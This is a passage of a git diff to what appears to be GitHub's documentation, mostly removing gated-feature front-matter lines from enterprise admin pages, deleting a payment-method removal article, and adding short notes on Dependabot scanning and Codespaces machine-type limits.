   - /github/setting-up-and-managing-your-enterprise/configuring-single-sign-on-for-your-enterprise-account-using-okta
   - /github/setting-up-and-managing-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta
diff --git a/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md b/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
index 1b9d0eb84b..95c5251d19 100644
--- a/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
+++ b/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing team synchronization for organizations in your enterprise
 intro: 'You can enable team synchronization between an identity provider (IdP) and {% data variables.product.product_name %} to allow organizations owned by your enterprise account to manage team membership through IdP groups.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage team synchronization for an enterprise account.
 versions:
   ghec: '*'
diff --git a/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
index e6e4dd2328..88d845ce8d 100644
--- a/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
+++ b/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Switching your SAML configuration from an organization to an enterprise account
 intro: Learn special considerations and best practices for replacing an organization-level SAML configuration with an enterprise-level SAML configuration.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can configure SAML single sign-on for an enterprise account.
 versions:
   ghec: '*'
diff --git a/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md b/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
index a310edc239..b88044ee86 100644
--- a/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
+++ b/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
@@ -14,7 +14,7 @@ topics:
 
 ## About provisioning for {% data variables.product.prodname_emus %}
 
-You can configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. When you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} via SCIM, and the users are added to your enterprise. 
+You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. When you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} via SCIM, and the users are added to your enterprise. 
 
 When you update information associated with a user's identity on your IdP, your IdP will update the user's account on GitHub.com. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any SAML sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.product.prodname_managed_user %} account on {% data variables.product.prodname_dotcom %} will be reactivated and username restored.
 
diff --git a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
index 27ad1a6dcc..64899b57c1 100644
--- a/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
+++ b/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md
@@ -1,6 +1,7 @@
 ---
 title: Enabling the dependency graph and Dependabot alerts on your enterprise account
 intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and  {% data variables.product.prodname_dependabot_alerts %} in repositories in your instance.'
+miniTocMaxHeadingLevel: 3
 shortTitle: Enable dependency analysis
 redirect_from:
   - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server
@@ -33,12 +34,17 @@ For more information about these features, see "[About the dependency graph](/gi
 
 ### About synchronization of data from the {% data variables.product.prodname_advisory_database %}
 
-{% data reusables.repositories.tracks-vulnerabilities %} 
+{% data reusables.repositories.tracks-vulnerabilities %}
 
 You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. You can also choose to manually sync vulnerability data at any time. No code or information about code from {% data variables.product.product_location %} is uploaded to {% data variables.product.prodname_dotcom_the_website %}.
 
 Only {% data variables.product.company_short %}-reviewed advisories are synchronized. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
+### About scanning of repositories with synchronized data from the {% data variables.product.prodname_advisory_database %}
+
+For repositories with {% data variables.product.prodname_dependabot_alerts %} enabled, scanning is triggered on any push to the default branch that contains a manifest file or lock file. Additionally, when a new vulnerability record is added to the instance, {% data variables.product.prodname_ghe_server %} scans all existing repositories in that instance and generates alerts for any repository that is vulnerable. For more information, see "[Detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)."
+
+
 ### About generation of {% data variables.product.prodname_dependabot_alerts %}
 
 If you enable vulnerability detection, when {% data variables.product.product_location %} receives information about a vulnerability, it identifies repositories in your instance that use the affected version of the dependency and generates {% data variables.product.prodname_dependabot_alerts %}. You can choose whether or not to notify users automatically about new {% data variables.product.prodname_dependabot_alerts %}.
@@ -54,7 +60,7 @@ For {% data variables.product.product_location %} to detect vulnerable dependenc
 
 {% ifversion ghes %}
 {% ifversion ghes > 3.1 %}
-You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering. 
+You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering.
 
 ### Enabling the dependency graph via the {% data variables.enterprise.management_console %}
 {% data reusables.enterprise_site_admin_settings.sign-in %}
@@ -104,7 +110,7 @@ Before enabling {% data variables.product.prodname_dependabot_alerts %} for your
    ![Drop-down menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png)
 
    {% tip %}
-   
+
    **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual.
 
    {% endtip %}
diff --git a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
index 3756eb9670..7867d8f11e 100644
--- a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
+++ b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing policies for dependency insights in your enterprise
 intro: 'You can enforce policies for dependency insights within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for dependency insights in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-a-policy-on-dependency-insights
   - /articles/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
diff --git a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
index 580c1dcf78..848d68d68f 100644
--- a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
+++ b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing policies for security settings in your enterprise
 intro: 'You can enforce policies to manage security settings in your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for security settings in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/enforcing-security-settings-for-organizations-in-your-business-account
diff --git a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
index 251c60ac98..92779bbbf0 100644
--- a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
+++ b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing project board policies in your enterprise
 intro: 'You can enforce policies for projects within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for project boards in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-project-board-settings-for-organizations-in-your-business-account
   - /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account
diff --git a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
index be790e0250..b7a4825066 100644
--- a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
+++ b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing repository management policies in your enterprise
 intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for repository management in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /enterprise/admin/installation/configuring-the-default-visibility-of-new-repositories-on-your-appliance
   - /enterprise/admin/guides/user-management/preventing-users-from-changing-a-repository-s-visibility
diff --git a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
index 14860a36f6..3b95f63b1f 100644
--- a/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
+++ b/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing team policies in your enterprise
 intro: 'You can enforce policies for teams in your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for teams in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-team-settings-for-organizations-in-your-business-account
   - /articles/enforcing-team-policies-for-organizations-in-your-enterprise-account
diff --git a/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md b/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
index 8e5c3ea588..2ab321db12 100644
--- a/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
+++ b/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Adding organizations to your enterprise
 intro: You can create new organizations or invite existing organizations to manage within your enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/adding-organizations-to-your-enterprise-account
   - /articles/adding-organizations-to-your-enterprise-account
diff --git a/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md b/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
index b902f6b446..4ea1c865ce 100644
--- a/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
+++ b/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing unowned organizations in your enterprise
 intro: You can become an owner of an organization in your enterprise account that currently has no owners.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage unowned organizations in an enterprise account.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account
diff --git a/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md b/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
index 01153604dc..1e22462b13 100644
--- a/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
+++ b/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Streaming the audit logs for organizations in your enterprise account
 intro: 'You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 miniTocMaxHeadingLevel: 3
 versions:
   ghec: '*'
diff --git a/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md b/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
index 8ee2d906ec..b931319e81 100644
--- a/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
+++ b/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Viewing the audit logs for organizations in your enterprise
 intro: Enterprise owners can view aggregated actions from all of the organizations owned by an enterprise account in its audit log.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
   - /articles/viewing-the-audit-logs-for-organizations-in-your-business-account
diff --git a/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md b/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
index bdb7d0b4f9..250b63d8bd 100644
--- a/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
+++ b/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Inviting people to manage your enterprise
 intro: 'You can {% ifversion ghec %}invite people to become enterprise owners or billing managers for{% elsif ghes %}add enterprise owners to{% endif %} your enterprise account. You can also remove enterprise owners {% ifversion ghec %}or billing managers {% endif %}who no longer need access to the enterprise account.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise
diff --git a/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md b/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
index 691d68f393..0bfadd6101 100644
--- a/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
+++ b/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing support entitlements for your enterprise
 intro: You can grant enterprise members the ability to manage support tickets for your enterprise account.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise
 versions:
diff --git a/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md b/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
index 9fb394b311..e256768655 100644
--- a/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
+++ b/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Roles in an enterprise
 intro: 'Everyone in an enterprise is a member of the enterprise. To control access to your enterprise''s settings and data, you can assign different roles to members of your enterprise.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise
   - /github/setting-up-and-managing-your-enterprise-account/roles-for-an-enterprise-account
diff --git a/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md b/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
index d1577b8174..5df6306c2e 100644
--- a/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
+++ b/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Viewing and managing a user's SAML access to your enterprise
 intro: 'You can view and revoke an enterprise member''s linked identity, active sessions, and authorized credentials.'
 permissions: Enterprise owners can view and manage a member's SAML access to an organization.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
diff --git a/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md b/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
index 477627f28a..d84d677ab1 100644
--- a/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
+++ b/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Viewing people in your enterprise
 intro: 'To audit access to enterprise-owned resources or user license usage, enterprise owners can view every administrator and member of the enterprise.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise-account/viewing-people-in-your-enterprise-account
   - /articles/viewing-people-in-your-enterprise-account
diff --git a/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md b/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
index 62f0449fb9..e42def2993 100644
--- a/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
+++ b/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
@@ -24,7 +24,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% mac %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. Copy the SSH public key to your clipboard.
@@ -59,8 +58,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% windows %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 1. Copy the SSH public key to your clipboard.
@@ -96,7 +93,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% linux %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. Copy the SSH public key to your clipboard.
@@ -114,7 +110,7 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
   **Tip:** Alternatively, you can locate the hidden `.ssh` folder, open the file in your favorite text editor, and copy it to your clipboard.
 
   {% endtip %}
-  
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
 4. Click **New SSH key** or **Add SSH key**.
diff --git a/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md b/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
index df5bf71441..89e4fa9604 100644
--- a/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
+++ b/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
@@ -124,7 +124,6 @@ An overview of some of the most common actions that are recorded as events in th
 
 | Action | Description
 |------------------|-------------------
-| `clear` | Triggered when [a payment method](/articles/removing-a-payment-method) on file is removed.
 | `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account.
 | `update` | Triggered when an existing payment method is updated.
 
diff --git a/content/billing/index.md b/content/billing/index.md
index 067b356ef5..6071dcbf5f 100644
--- a/content/billing/index.md
+++ b/content/billing/index.md
@@ -28,7 +28,6 @@ featuredLinks:
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server{% endif %}'
     - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
   guideCards:  
-    - /billing/managing-your-github-billing-settings/removing-a-payment-method
     - /billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process
     - /billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise{% endif %}'
diff --git a/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md b/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
index a9cde308d3..8f5fc5ba34 100644
--- a/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
+++ b/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
@@ -48,6 +48,12 @@ For information on managing and changing your account's spending limit, see "[Ma
 
 {% data reusables.codespaces.exporting-changes %}
 
+## Limiting the choice of machine types
+
+The type of machine a user chooses when they create a codespace affects the per-minute charge for that codespace, as shown above. 
+
+Organization owners can create a policy to restrict the machine types that are available to users. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
 ## How billing is handled for forked repositories
 
 {% data variables.product.prodname_codespaces %} can only be used in organizations where a billable owner has been defined. To incur charges to the organization, the user must be a member or collaborator, otherwise they cannot create a codespace. 
diff --git a/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md b/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
index acd6eb818f..9ab94e5001 100644
--- a/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
+++ b/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
@@ -57,3 +57,8 @@ Enterprise owners and billing managers can manage the spending limit for {% data
 Email notifications are sent to account owners and billing managers when spending reaches 50%, 75%, and 90% of your account's spending limit. 
 
 You can disable these notifications anytime by navigating to the bottom of the **Spending Limit** page.
+
+## Further reading
+
+- "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
+- "[Managing billing for Codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
\ No newline at end of file
diff --git a/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md b/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
index d3615d9aa8..0d45bff9b1 100644
--- a/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
+++ b/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: About billing for your enterprise
 intro: You can view billing information for your enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /admin/overview/managing-billing-for-your-enterprise
   - /enterprise/admin/installation/managing-billing-for-github-enterprise
diff --git a/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md b/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
index 92bc0b3b49..f02a62f158 100644
--- a/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
+++ b/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Connecting an Azure subscription to your enterprise
 intro: 'You can use your Microsoft Enterprise Agreement to enable and pay for {% data variables.product.prodname_actions %} and {% data variables.product.prodname_registry %} usage beyond the included amounts for your enterprise.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise
   - /github/setting-up-and-managing-billing-and-payments-on-github/connecting-an-azure-subscription-to-your-enterprise
diff --git a/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md b/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
index cdaa744340..18d4d43067 100644
--- a/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
+++ b/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
@@ -92,5 +92,4 @@ To reduce the number of paid seats your organization uses, you can remove member
 - "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
 - "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
 - "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
-- "[Removing a payment method](/articles/removing-a-payment-method)"
 - "[About per-user pricing](/articles/about-per-user-pricing)"
diff --git a/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md b/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
index f744f0fb04..a48523abbd 100644
--- a/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
+++ b/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Managing invoices for your enterprise
 shortTitle: Manage invoices
 intro: 'You can view, pay, or download a current invoice for your enterprise, and you can view your payment history.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 versions:
   ghec: '*'
 type: how_to
diff --git a/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md b/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
index 8caeb64051..58ec0b2f36 100644
--- a/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
+++ b/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Viewing the subscription and usage for your enterprise account
 intro: 'You can view the current {% ifversion ghec %}subscription, {% endif %}license usage{% ifversion ghec %}, invoices, payment history, and other billing information{% endif %} for {% ifversion ghec %}your enterprise account{% elsif ghes %}{% data variables.product.product_location_enterprise %}{% endif %}.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: 'Enterprise owners {% ifversion ghec %}and billing managers {% endif %}can access and manage all billing settings for enterprise accounts.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account
diff --git a/content/billing/managing-your-github-billing-settings/index.md b/content/billing/managing-your-github-billing-settings/index.md
index c8d94f174f..d0d5f07683 100644
--- a/content/billing/managing-your-github-billing-settings/index.md
+++ b/content/billing/managing-your-github-billing-settings/index.md
@@ -25,6 +25,5 @@ children:
   - /redeeming-a-coupon
   - /troubleshooting-a-declined-credit-card-charge
   - /unlocking-a-locked-account
-  - /removing-a-payment-method
 ---
 
diff --git a/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md b/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
deleted file mode 100644
index 8e7fe2ed0b..0000000000
--- a/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Removing a payment method
-intro: 'If you aren''t using your payment method for any paid subscriptions on {% data variables.product.prodname_dotcom %}, you can remove the payment method so it''s no longer stored in your account.'
-redirect_from:
-  - /github/setting-up-and-managing-billing-and-payments-on-github/removing-a-payment-method
-  - /articles/removing-a-credit-card-associated-with-your-user-account
-  - /articles/removing-a-payment-method-associated-with-your-user-account
-  - /articles/removing-a-credit-card-associated-with-your-organization
-  - /articles/removing-a-payment-method-associated-with-your-organization
-  - /articles/removing-a-payment-method
-  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/removing-a-payment-method
-versions:
-  fpt: '*'
-  ghec: '*'
-type: how_to
-topics:
-  - Organizations
-  - User account
----
